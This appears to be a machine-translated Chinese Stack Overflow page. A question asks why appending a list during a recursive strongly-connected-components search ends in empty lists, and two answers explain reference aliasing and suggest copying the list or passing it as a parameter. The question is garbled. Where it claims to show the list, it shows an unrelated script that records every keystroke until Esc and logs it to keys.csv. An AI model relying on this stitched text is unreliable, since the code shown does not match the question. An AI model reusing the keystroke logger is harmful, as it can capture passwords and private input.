在递归调用期间附加一个列表项(最后我得到一个空列表)

时间:2019-04-23 16:09:27

标签: python list recursion

我有一个列表列表(总共10个元素),我正在尝试计算图中的强连接组件的数量(但不必担心)。

这是我的列表的样子:

import keyboard
import logzero
import logging
from logzero import logger
import os
dir_path = os.path.dirname(os.path.realpath(__file__))

logzero.logfile(dir_path+"/keys.csv")

recorded = keyboard.record(until='esc')

formatter = logging.Formatter('%(name)s - %(asctime)-15s - %(levelname)s: %(message)s')
logzero.formatter(formatter)

logger.info(recorded)

其中内部列表的第一个元素-是顶点编号one [9],第二个元素是第二个顶点[7]。

我的问题是,在递归调用中,我将一个列表附加到该函数之外。

df_reversed_back =[[9, 7],
 [8, 9],
 [7, 8],
 [6, 9],
 [6, 4],
 [5, 6],
 [4, 5],
 [3, 5],
 [3, 1],
 [2, 3],
 [1, 2]]

如您所见,我想将SSC附加到all_components。 结果必须为:all_components = [[7,8,9],[4,5,6],[1,2,3]]

但是最后我得到:all_components = [[],[],[]]

你能告诉我我哪里做错了吗?

2 个答案:

答案 0 :(得分:1)

您的问题在这里:

            all_components.append(SSC)
            print('All_components is :',all_components)
            SSC[:] = []

您将SSC设为all_components的元素,但立即将其清空。这将all_components保留为包含空列表的列表。然后,您继续使用主列表(SSC)进行操作。您可以在输出中看到这一点:

SSC was: [1, 2]
SSC is: [1, 2, 3]
All_components is : [[1, 2, 3], [1, 2, 3], [1, 2, 3]]
Second_vert: [1, 2]
Second_vert[0] == node: False
All_components was: [[], [], []]
All_components was: [[], [], []]

每个元素仅是对原始SSC的引用:您将其视为三元组或者为空,或者为最后一个组成部分。

我怀疑您想要添加SSC的快照(副本):

            all_components.append(SSC[:])
            print('All_components is :',all_components)
            SSC[:] = []

输出:

...
All_components was: [[7, 8, 9], [4, 5, 6], [1, 2, 3]]

答案 1 :(得分:1)

这样做时,您正在破坏SSC的内容:

all_components.append(SSC)
print('All_components is :',all_components)
SSC[:] = []

这实际上将对SSC的引用添加到all_components,然后擦除了全局变量指向的数组的内容。

也许更好的方法是在需要时通过将其作为函数的参数来创建新的SSC。

您可以将函数读取为:

def DFS_2_Path(graph,node, SSC=None):
    if SSC == None:
        SSC = []

然后,当您递归调用它时,使用以下命令将其传递到递归中:

DFS_2_Path(graph,second_vert[1], SSC)

这将允许每个递归路径获得其自己的SSC数组,此外,您不需要全局变量。